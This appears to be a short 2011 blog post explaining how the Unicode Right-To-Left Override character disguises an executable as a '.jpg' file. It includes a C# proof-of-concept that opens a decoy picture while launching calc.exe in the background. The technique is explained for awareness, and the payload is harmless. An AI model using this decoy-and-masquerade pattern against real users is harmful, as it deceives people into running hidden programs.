Wednesday, April 20, 2011

executable jpg files

On the following screenshot there are 3 files with the same thumbnail picture. The file extensions aren't hided. Now can you guess the formats of those files?

The first and the second files are executable, while the third file is an icon file. But, you can say, the file with "jpg" extension is a picture not an executable. It is true. But the problem is that the extension of "imggoofyrcs.jpg" isn't "jpg". How is it possible? The cause of this is the Unicode symbol \u202E(Right-To-Left Override):
The executable can open a picture to deceive a user and do anything in the background. The following code demonstrate how to open a picture and run a "calc" program.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
/*
// Read the content of binary file
BinaryReader bin =new BinaryReader(File.Open("C:\\img.jpg",FileMode.Open));
byte[] bufr = new byte[10000];
int size = bin.Read(bufr, 0, 10000);
// Write to text file
TextWriter tw = new StreamWriter("C:\\img.txt");
tw.Write("{ ");
for (int i = 0; i < size; ++i)
{
tw.Write(bufr[i]);
tw.Write(", ");
}
tw.Write("} ");
*/
string filename = System.IO.Path.GetTempPath() + "aaa123321.jpg";
BinaryWriter binw = new BinaryWriter(File.Open(filename,FileMode.Create));
// Copy here the content of file image.txt
byte[] bufw = { 255, 216, 255, 224, ... };
binw.Write(bufw, 0, bufw.Length);
binw.Close();
System.Diagnostics.Process.Start(filename);
//...
System.Diagnostics.Process.Start("C:\\Windows\\system32\\calc.exe");
}
}
}
view raw Program.cs hosted with ❤ by GitHub

No comments:

Post a Comment